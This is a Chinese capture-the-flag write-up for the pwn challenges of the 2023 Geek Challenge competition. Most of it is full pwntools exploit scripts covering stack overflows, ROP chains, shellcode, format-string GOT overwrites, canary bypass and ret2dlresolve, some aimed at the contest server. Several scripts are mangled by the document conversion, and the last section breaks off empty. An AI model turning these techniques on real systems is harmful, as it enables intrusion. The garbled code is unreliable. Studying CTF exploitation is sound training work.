2023第十四届极客大挑战 — PWN WP

WP可能有点简陋，因为是直接从docx导入到博客的，实在不想再重新写了！大家凑合着看吧！哈哈哈，问题不大！

pwn方向出自：队友

nc_pwntools

只要过了chal1和chal2即可执行任意命令

chal1要求输入的字符串以Syclover结尾

chal2要求算算数，直接接收一行后用eval函数即可算出结果

exp：

from pwn import *

context.arch='amd64' 
context.log_level = 'debug' 
#p=process("./nc_pwntools")

p=remote("pwn.node.game.sycsec.com",30749) 
elf=ELF("./nc_pwntools")

payload=b'a'*92

payload+=b'Syclover' 
p.send(payload) 
p.recvuntil("first one\n") 
line=p.recvuntil("=?",drop=True) 
res=eval(line)

print(res) 
p.sendline(str(res)) 
p.interactive()

password

password是真随机数，看上去似乎无解

这里用strcmp来比较

有一种情况，就是随机数第一位是\x00，比较的时候就会直接截断字符串，我们写个脚本爆破这种情况就行

exp：

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug'

def pwn():

    backdoor=0x4012F3 
    p.send(b'a'*0x28+p64(backdoor)) 
    p.recv()
    p.send(b'\x00'*65) 
    p.recvuntil("ssword:\n")
    a=p.recv() 
    print(a)

    if b"Correct" in a:
        p.interactive()

if _name_ == " _main_ ":

while True: 
    try:
        p = remote("pwn.node.game.sycsec.com",30289) 
        #p=process("./password")
        pwn() 
    except:
        p.close()

shell()

ret2text

这里栈溢出了

这里有后门函数

所以直接把返回地址改到后门函数那里就好

exp：

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./ret2text")

elf=ELF("./ret2text") 
#gdb.attach(p) 
payload=b'a'*0x58 
payload+=b'\x27\x12' 
p.send(payload) 
p.interactive()

write1

这里有后门函数

v2在栈上，因此可以直接通过控制v1来修改返回地址为后门函数，修改最后两位即可

exp：

from pwn import * 
#context.arch='amd64' 
context.log_level = 'debug' 
p=process("./write1")

#p=remote("pwn.node.game.sycsec.com",30723) 
elf=ELF("./write1")

libc=elf.libc 
gdb.attach(p) 
p.sendline(b'aaaa') 
p.sendline(str(0x28)) 
p.sendline(str(hex(-0x2b)))

p.sendline(str(0x29)) 
p.sendline(str(hex(-0x1)))

p.sendline(b'-1')

p.interactive()

ret2libc

额，偏不ret2libc，就用magic_gadget(一时用一时爽，一直用一直爽)主要是没有puts函数，还要

ret2csu，注意到got表可写，且给出了libc，因此直接用magic_gadget将setbuf的got表改为 one_gadget

的地址，最后调用setbuf即可

exp：

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
#p=process("./ret2libc")

p=remote("pwn.node.game.sycsec.com",30739) 
elf=ELF("./ret2libc")

libc=elf.libc 
rdi=0x401333 
vuln=0x4011fd 
csu_low=0x40132A

magic_gadget_addr=0x40119c 
one=0xe3afe

#gdb.attach(p)

def set_to(addr,data): 
    pd = flat([
        csu_low, 
        data,
        addr + 0x3d,
        0, 0, 0, 0,
        magic_gadget_addr
    ])
    return pd 
payload=b'\x00'*(0x10+8)+set_to(elf.got['setbuf'],one- 
libc.sym['setbuf'])+p64(elf.plt['setbuf']) 
p.sendline(payload)
p.interactive()

ezpwn

0x13位的shellcode，空间貌似不够我们执行system("/bin/sh")，那么只能再次调用sys_write，在栈上再写上shellcode覆盖到当前shellcode的下一位即可

payload+=asm(''' xor eax,eax

add edx,esi

syscall ''')

用edi，eax这些32位寄存器来节省空间

经过测算，偏移为6，意味着我们读入6位后就来到了shellcode的结束地址，我们要在这里续写

shellcode

直接用asm(shellcraft.sh()生成即可

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
#p=process("./ezpwn")

p=remote("pwn.node.game.sycsec.com",30225) 
elf=ELF("./ezpwn")

#gdb.attach(p) 
payload=b'a'*8 
payload+=asm(''' 
xor eax,eax
add edx,esi 
syscall 
''')

print(len(payload)) 
p.send(payload) 
payload=b'a'*0x6 
payload+=asm(shellcraft.sh()) 
p.sendline(payload) 
p.interactive()

mips

这道题是32位的mips pwn

可以看到输入了两次

在测试中发现一个有意思的点，第一段输入超过0x10后程序会直接崩溃

猜测0x10处存储着重要的东西

实测得到栈0x10处存放着偏移，决定了第二段读入的位置

经过调试发现当偏移为0x58的时候（b'a'0x10+p32(0x58)+b'a'0x40这样发送），恰好第二次输入能覆盖到返回地址的位置。

整个程序都有rwx权限，但是栈的地址未知，不能直接ret2shellcode

通过修改返回地址为main函数，write时会泄露出栈地址

泄露出栈地址后第二轮将返回地址改为返回地址+4处，然后在返回地址+4处写shellcode即可

exp：

from pwn import * 
context.arch='mips' 
context.os='linux' 
context.log_level = 'debug'

#p=process(argv=["qemu-mipsel","-g","1234","-L","/usr/mipsel-linux•gnu","./mips"])
#p=process(argv=["qemu-mipsel","-L","/usr/mipsel-linux-gnu","./mips"]) 
p=remote("pwn.node.game.sycsec.com",....)

elf=ELF("./mips")

#libc=elf.libc 
p.sendline(b'a'*0x10+p32(0x58)+b'a'*0x40) 
pause()
p.sendline(p32(0x400920))
payload=b'''bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\x f
4\xff\xbd'
\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\ x
bd#\xfb\xff\x19$'( \x03 (\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01'''
leak_addr=u32(p.recvuntil("\x40")[-4:]) 
print(hex(leak_addr))

pause() 
p.sendline(b'a'*0x10+p32(0x58)+b'a'*0x40) 
pause() 
p.sendline(p32(leak_addr)+payload) 
p.interactive()

write2

题目开始会给栈地址

题目可以任意地址写

题目开了pie

题目栈可以执行

那么我们可以根据泄露的栈地址，将返回地址改为我们控制的地址

这里有0x18大小的shellcode空间在栈上，足够放得下system("/bin/sh")了

sc=asm('''

xor esi,esi

mul esi

mov al,59

lea rdi,[rbp-0x24]

syscall

''')

sl(sc+b'/bin/sh')

只要多省省，空间就有了，实测这段shellcode的大小才19字节，实在是绰绰有余

那么只需将返回地址改为在栈上的shellcode地址即可

exp：

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./write2")
#p=remote("pwn.node.game.sycsec.com",30090) 
elf=ELF("./write2")

#gdb.attach(p) 
p.recvuntil("index_addr:0x") 
leak_addr=int(p.recv(12),16) 
sc=asm('''
xor esi,esi
mul esi 
mov al,59
lea rdi,[rbp-0x24]
syscall 
''')

p.sendline(sc+b'/bin/sh')
print(len(sc+b'/bin/sh')) 
p.sendline(str(0x28)) 
p.sendline('0x'+str(hex(leak_addr+4))[-2:]) 
p.sendline(str(0x29)) 
p.sendline('0x'+str(hex(leak_addr+4))[-4:-2]) 
p.sendline(str(0x2a)) 
p.sendline('0x'+str(hex(leak_addr+4))[-6:-4]) 
p.sendline(str(0x2b)) 
p.sendline('0x'+str(hex(leak_addr+4))[-8:-6]) 
p.sendline(str(0x2c)) 
p.sendline('0x'+str(hex(leak_addr+4))[-10:-8]) 
p.sendline(str(0x2d)) 
p.sendline('0x'+str(hex(leak_addr+4))[-12:-10]) 
print(hex(leak_addr+4))
p.sendline(b'-1') 
p.interactive()

fmt1.0

这里有execve函数

这里printf很奇怪，格式化字符串漏洞，但是后面参数还有个0

源赖氏出题人想让我们格式化字符串修改printf的got表为execve的plt表，然后栈溢出再来一遍，输入时输入"/bin/sh"即可执行execve("/bin/sh")

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./fmt1.0")

#p=remote("pwn.node.game.sycsec.com",31883) 
elf=ELF("./fmt1.0")

libc=elf.libc 
#gdb.attach(p) 
rdi=0x401353 
leave_ret=0x4012c8

#p.send(b'\x00'*0x50+p64(0x404500)+p64(0x401274))

#p.send(b'aaaaaaaa'+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401274)+b'a'*0x28+p64(0x404500-0x60)+p64(0x401280))
#sl(b'aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p') 
payload=fmtstr_payload(6,{elf.got['printf']:elf.plt['execve']}) 
payload=payload.ljust(0x58,b'\x00') 
payload+=p64(elf.sym['main'])
p.send(payload)
p.sendline(b'/bin/sh\x00') 
p.interactive()

white_canary

这里设置了种子

这里用两个随机数进行一些奇奇怪怪的操作后生成了canary，但是这不重要，用python的CDLL调用libc

即可还原生成的过程，最后发现取了生成的canary的最后8字节做了实际的canary

小沙箱，直接orw绕过

直接将shellcode写到bss段地址，然后栈溢出将返回地址改为bss地址即可

exp：

from ctypes import * 
from pwn import * 
import time 
context.arch='amd64'
context.log_level = 'debug'
p=process("./chal") 
#p=remote("pwn.node.game.sycsec.com",31567) 
elf=ELF("./chal")

libc =cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 
libc.srand(int(time.time()-1)%60)

v2 = libc.rand() 
v3 = libc.rand()

canary= ((((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48)

+ (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32))

canary=int(str(hex(canary))[-16:],16) 
print(hex(canary))

#gdb.attach(p)

shellcode=shellcraft.open("flag")+shellcraft.read(3,'rsp',100)+shellcraft.write( 1

,'rsp',100)

p.sendline(asm(shellcode)) 
p.sendline(b'a'*0x8+p64(canary)+b'a'*0x8+p64(0x4040e0)) 
p.interactive()

ez_fullprotection

这道题的后面会创建一个多线程，调用了gets函数，从而有栈溢出漏洞

我们可以通过输入相当大的字符串来覆盖掉多线程的tls结构体，从而绕过canary保护

那么我们还需要绕过pie保护，需要泄露程序的elf_base

这里赢的话由于有canary的原因没有什么用，但是，如果输入一个不是数字的东西，比如说字母就会导致输入失败，

从而不会覆盖原先栈上的数据，比如说输入a，那么他就会泄露出原先栈中的东西，从而泄露出elf_base

最后在多线程中完成rop即可

exp：

from pwn import * 
#context.arch='amd64' 
context.log_level = 'debug' 
p=process("./ez_fullprotection")

#p=remote("pwn.node.game.sycsec.com",30007)

elf=ELF("./ez_fullprotection") 
libc=elf.libc 
#libc=ELF("./libc.so.6") 
#gdb.attach(p) 
p.sendline(b'a')
p.sendline(b'a')
p.recvuntil("entered ")

elf_base=int(p.recv(14))-0x1240 
print(hex(elf_base)) 
rdi=elf_base+0x16e3 
ret=elf_base+0x101a

p.sendline(b'a'*0x38+p64(rdi)+p64(elf_base+elf.got['puts'])+p64(elf_base+elf.plt [

'puts'])+p64(elf_base+elf.sym['consolation_prize'])+b'a'*0x1000) 
leak_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) 
libc_base=leak_addr-libc.sym['puts']

one=libc_base+0xe3b01
print(hex(libc_base)) 
system=libc_base+libc.sym['system'] 
sh=libc_base+next(libc.search(b"/bin/sh\x00"))

p.sendline(b'a'*0x38+p64(elf_base+0x16dc)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one)+b '
a'*0x1000)

p.interactive()

EVA

这道题有两种输入模式，分别是在canary前输入0x100个字节和canary后输入0x10个字节

由于我们一开始不知道canary的值，因此我们第一次只能选第二种输入方式

可以将栈迁移到bss段中去，注意这里迁移的位置一定要偏后一点，否则有可能下面调用函数的时候rsp

指向了不存在的区域

那么我们第一次完成了部分迁移，此时rbp在bss段上，而rsp还在栈上

这时候我们跳转到0x40128E处，这个地方会将rbp-8的位置写上canary的值，而我们的rbp是在bss段上的，因此会在bss段上也写一个canary值

这时候继续返回到0x40137e处，将rsp也挪到bss段上

注意，此时rbp是比rsp位置高的，而stack_check_fail函数是通过rbp-8来找到canary的，因此接下来我

们可以自由的溢出，而不用担心canary，其中结构如下：

canary

rbp

xxxx

xxxx

rsp

xxxx

xxxx

xxxx

接下来但回到0x401355处，调用第一种方式写，然后rop获得libc_base，接着调用system即可

exp：

from pwn import * 
#context.arch='amd64' 
context.log_level = 'debug' 
p=process("./EVA")

#p=remote("pwn.node.game.sycsec.com",30430)
elf=ELF("./EVA")
libc=ELF("./libc.so.6") 
gdb.attach(p) 
bss_addr=0x404800 
rdi=0x401423 
ret=0x40101a 
rsi_r15=0x401421 
rsp_r13_r14_r15=0x40141d 
rbp=0x4011dd 
leave_ret=0x401280 
p.sendline(b'0')
pause() 
p.send(p64(bss_addr)+p64(0x40128e)) 
pause()
p.sendline(b'0') 
pause()
p.send(p64(bss_addr)+p64(0x40137e)) 
pause() 
p.send(p64(bss_addr)+p64(0x401355)) 
pause()

p.sendline(b'a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401355))

leak_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) 
libc_base=leak_addr-libc.sym['puts'] 
system=libc_base+libc.sym['system'] 
sh=libc_base+next(libc.search(b"/bin/sh\x00")) 
p.sendline(b'a'*0x70+p64(rdi)+p64(sh)+p64(system)) 
p.interactive()

why_n0t_puts

Partial RELRO+只有read，很明显是ret2dlresolve

直接套板子即可

将返回地址改为read的rop链

在bss段上伪造linkmap，然后调用dklresolve函数并传入假的linkmap_addr即可

exp：

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./why_n0t_puts")
#p=remote("pwn.node.game.sycsec.com",....) 
elf=ELF("./why_n0t_puts") 
libc=elf.libc

def create_link_map(l_addr,know_got,link_map_addr): 
    link_map=p64(l_addr & (2 ** 64 - 1))
    #dyn_relplt 注意这里是DYNAMIC节中含的relplt(或是说DT_JMPREL?)的指针的结构
    link_map+=p64(0) 
    link_map+=p64(link_map_addr+0x18) 
    #ptr2relplt 
    #relplt 注意这里才是relplt(或是说DT_JMPREL?) 
    link_map+=p64((know_got - l_addr)&(2**64-1)) 
    link_map+=p64(0x7)
    link_map+=p64(0)
    #dyn_symtab 同样，这里才是DT_SYMTAB在DYNAMIC中的结构，里面有一个指针指向DTSYMTAB,这个指针要指向我们选的已重定位函数的got表-8的地方，这样才能让st_value为已重定位函数的地址
    link_map+=p64(0) 
    link_map+=p64(know_got-0x8) 
    link_map+=b'/bin/sh\x00' 
    link_map=link_map.ljust(0x68,b'B')
    link_map+=p64(link_map_addr) #字符串表指针的指针，随便写个地址就行，反正用不到
    link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr，DT_SYMTAB在 DYNAMIC中对应的结构的地址
    link_map=link_map.ljust(0xf8,b'C') 
    link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr 
    return link_map

#gdb.attach(p) 
rdi=0x4011d3 
rsi_r15=0x4011d1
fake_link_map_addr=0x404800 
data=0x404500 
sh=fake_link_map_addr+0x40

offset=libc.symbols['system']-libc.symbols['read'] 
fake_link_map=create_link_map(offset,elf.got['read'],fake_link_map_addr) 
print(len(fake_link_map)) 
payload=b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(fake_link_map_addr)+p64(0)+p6
4
(rsi_r15)+p64(fake_link_map_addr)+p64(0)+p64(elf.plt['read'])+p64(rdi)+p64(sh)+p
6
4(0x401026)+p64(fake_link_map_addr)+p64(0) 
p.send(payload)
pause()
p.send(fake_link_map) 
p.interactive()

fmt2.0

有两次使用格式化字符串的机会，通过调试可以确定偏移为6

第一次泄露栈地址和libc基址

第二次将栈的返回地址改为one_gadget的地址。

这里因为空间有限使用short来写入数据，也就是%hn

此脚本有概率打不通，主要是地址泄露那块的问题1，差不多打通的概率为1/2

exp:

from pwn import * 
context.arch='amd64' 
context.log_level = 'debug' 
p=process("./fmt2.0")
#p=remote("pwn.node.game.sycsec.com",)
elf=ELF("./fmt2.0") 
libc=elf.libc 
#gdb.attach(p)

p.sendline(b'aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p') 
p.recvuntil("aaaa0x")

leak_addr=int(p.recv(12),16) 
print(hex(leak_addr)) 
ret_addr=leak_addr+0x68

p.recvuntil("0x50-0x") 
leak_addr=int(p.recv(12),16) 
read=leak_addr-18 
libc_base=read-libc.sym['read'] 
p.recvuntil("0x55")

leak_addr=int((b'55'+p.recv(10)),16)

print(hex(leak_addr&0xfffffffff000-0x1000)) 
base=leak_addr&0xfffffffff000-0x1000 
one=0xe3b01
payload=fmtstr_payload(6,{ret_addr:libc_base+one},write_size='short')
p.sendline(payload)
p.interactive()

fmt3.0

EXP: